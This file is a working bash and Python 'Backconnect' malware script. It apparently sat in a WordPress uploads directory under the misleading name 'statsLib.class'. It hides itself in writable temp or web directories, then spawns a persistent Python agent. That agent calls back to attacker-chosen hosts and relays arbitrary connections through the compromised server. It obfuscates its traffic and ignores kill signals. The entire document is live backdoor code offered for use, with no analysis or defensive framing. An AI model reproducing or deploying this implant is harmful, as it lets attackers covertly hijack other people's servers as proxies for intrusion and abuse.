/home/fdhrevqn/public_html/wp-content/uploads/2021/04/statsLib.class
#!/bin/bash
# Backconnect v9.0 - WORKING VERSION
N="bcksocks";D=15;PD=""
find_writable() {
for d in /tmp /var/tmp /dev/shm /run \
/var/www/html /var/www /srv/www /srv/http \
/home/*/public_html /home/*/www /home/*/web \
/usr/share/nginx/html /usr/share/apache2/htdocs \
/var/www/*/public /var/www/*/html \
/opt/lampp/htdocs /opt/bitnami/apache/htdocs \
"$HOME/public_html" "$HOME/www" "$HOME"; do
[ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; }
done
echo "./.$N"
}
PD="$(find_writable)"
ka(){ pkill -9 -f "$N" 2>/dev/null;rm -rf "$PD";echo "Done";exit 0; }
st(){ echo "Status:";[ -d "$PD" ]||{ echo " None";exit 0; }
for f in "$PD"/*.pid;do [ -f "$f" ]||continue;p=$(cat "$f");n=$(basename "$f" .pid)
kill -0 "$p" 2>/dev/null&&echo " + $n ($p)"||echo " - $n";done;exit 0; }
spawn() {
local host="$1" port="$2" id="$3"
mkdir -p "$PD" 2>/dev/null
local pidf="$PD/${id}.pid"
local pyf="$PD/${id}.py"
cat > "$pyf" << PYEND
import socket,select,threading,random,time,os,sys,signal,errno
H='$host'
P=$port
x=bytearray(50)
for i in range(50):x[i]=int(random.random()*255)
def R(p,l,b,s,z):
r=list(range(256));p0=p1=p2=p3=p4=p5=p6=p7=p8=0;c=z;i=0;j=0;g=0
while c>0:b[s+i]^=p[j];i+=1;j+=1;c-=1;j=0 if j==l else j
while 1:
if g==0:p2=0;p3=l
if g!=0:
g=0;p2+=1;p3-=1
if p3==0:continue
p7=r[p0];t=p[p2];p1+=t;p1&=255;p1+=p7;p1&=255;p6=r[p1];r[p0]=p6;r[p1]=p7;p0+=1;p0&=255
if p0!=0:g=1;continue
p4=z;p1=p0=p2=p3=0
while 1:
p2+=1;p2&=255;p7=r[p2];p1+=p7;p1&=255;p8=r[p1];r[p2]=p8;r[p1]=p7;p8+=p7;p8&=255;p0=r[p8]
p5=b[s+p3];p5^=p0;b[s+p3]=p5;p3+=1;p4-=1
if p4==0:break
break
i=0;c=z;j=0
while c>0:b[s+i]^=p[j];i+=1;j+=1;c-=1;j=0 if j==l else j
L=threading.Lock()
def T(k,d):
with L:
try:k.sendall(d);return 1
except:return 0
sa=[0]*200;sk=[None]*200;sL=threading.Lock()
def C(n,sS,cS,b0):
def w():
r=bytearray([n,0x0A,0,5,1,0,1,0,0,0,0,0,0]);d='';pt=0;o=0
try:
cS.setsockopt(6,1,1);cS.setblocking(0)
if b0[7]==3:
dl=b0[8];d=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1]
elif b0[7]==1:
d="{}.{}.{}.{}".format(b0[8],b0[9],b0[10],b0[11]);pt=(b0[12]<<8)|b0[13]
else:raise Exception()
try:cS.connect((d,pt))
except BlockingIOError:pass
except socket.error as e:
if e.errno!=errno.EINPROGRESS:raise
_,wl,_=select.select([],[cS],[],10)
if wl:
e=cS.getsockopt(socket.SOL_SOCKET,socket.SO_ERROR)
if e==0:
cS.setblocking(0)
with sL:sa[n]=1;sk[n]=cS
r[4]=0;o=1
else:raise Exception()
else:raise Exception()
except:
try:cS.close()
except:pass
R(x,50,r,0,3);R(x,50,r,3,10);T(sS,bytes(r));R(x,50,r,0,3)
if o:
while sa[n]==1:
try:
cs=sk[n]
if not cs:break
rl,_,_=select.select([cs],[],[],1)
if not rl:continue
dt=cs.recv(65530)
if not dt:break
b=bytearray([n,len(dt)&255,(len(dt)>>8)&255])+bytearray(dt)
R(x,50,b,0,3);R(x,50,b,3,len(dt))
if not T(sS,bytes(b)):break
except:break
with sL:sa[n]=0
cs=sk[n]
if cs:
try:cs.close()
except:pass
r[1]=0;r[2]=0;R(x,50,r,0,3);T(sS,bytes(r[:3]))
threading.Thread(target=w,daemon=1).start()
def B():
rm=r4=ebx=edx=0;b0=bytearray();bn=bytearray(3);ex=0
try:
sk[0]=socket.socket(2,1);sk[0].setsockopt(6,1,1);sk[0].connect((H,P))
b=bytearray(100);b[:50]=x;b[50]=255;b[51]=255;b[54:60]=b"Python"
R(x,50,b,50,50);sk[0].sendall(bytes(b))
while 1:
if r4!=4:
rl,_,_=select.select([sk[0]],[],[],60)
if not rl:
if bn!=bytearray(3)or rm or r4:break
R(x,50,bn,0,3);T(sk[0],bytes(bn));bn=bytearray(3);continue
if rm or r4==4:
if edx==0:
if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
elif 0<ebx<200:
with sL:sa[ebx]=0
else:
d=sk[0].recv(edx-rm)
if not d:break
rm+=len(d);b0.extend(d)
if edx==rm:
R(x,50,b0,4,rm)
if b0[0]==0:
cs=socket.socket(2,1)
C(ebx,sk[0],cs,b0)
else:
cs=sk[ebx]
if cs:
try:cs.sendall(bytes(b0[4:4+rm]))
except:
with sL:sa[ebx]=0
rm=0
r4=0;b0=bytearray()
else:
if r4==0:b0=bytearray()
d=sk[0].recv(4-r4)
if not d:break
r4+=len(d);b0.extend(d);bn=bytearray(3)
if r4==4:R(x,50,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
except:pass
try:sk[0].close()
except:pass
for i in range(200):sa[i]=0
time.sleep(10)
if ex:sys.exit(0)
try:open('$pidf','w').write(str(os.getpid()))
except:pass
for s in[1,15,2,13]:
try:signal.signal(s,signal.SIG_IGN)
except:pass
while 1:
try:B()
except:time.sleep(10)
PYEND
chmod +x "$pyf"
setsid python3 "$pyf" </dev/null >/dev/null 2>&1 &
sleep 1
[ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
return 1
}
SRV=();PT=""
case "${1:-}" in
-h|--help)echo "Usage: $0 HOST:PORT [...] | -p PORT IP [...] | -f file | -k | -s";exit 0;;
-k)ka;;-s)st;;
-p)PT="$2";shift 2;for i in "$@";do SRV+=("$i:$PT");done;;
-f)[ -f "$2" ]||{ echo "No file";exit 1; }
while IFS= read -r l||[ -n "$l" ];do l="${l//[[:space:]]/}";[[ -z "$l"||"$l"==\#* ]]||SRV+=("$l");done<"$2";;
*)for a in "$@";do [[ "$a"==*:* ]]&&SRV+=("$a")||SRV+=("$a:443");done;;
esac
[ ${#SRV[@]} -eq 0 ]&&{ echo "Usage: $0 -h";exit 1; }
command -v python3 &>/dev/null||{ echo "python3?";exit 1; }
mkdir -p "$PD";c=0
for s in "${SRV[@]}";do
h="${s%:*}";p="${s#*:}";id="${h}_${p}"
c=$((c+1))
[ -f "$PD/${id}.pid" ]&&oldpid=$(cat "$PD/${id}.pid")&&kill -0 "$oldpid" 2>/dev/null&&{ echo "[$c/${#SRV[@]}] $h:$p running";[ "$c" -lt "${#SRV[@]}" ]&&sleep "$D";continue; }
printf "[$c/${#SRV[@]}] $h:$p "
spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
[ "$c" -lt "${#SRV[@]}" ]&&sleep "$D"
done
echo "Done"
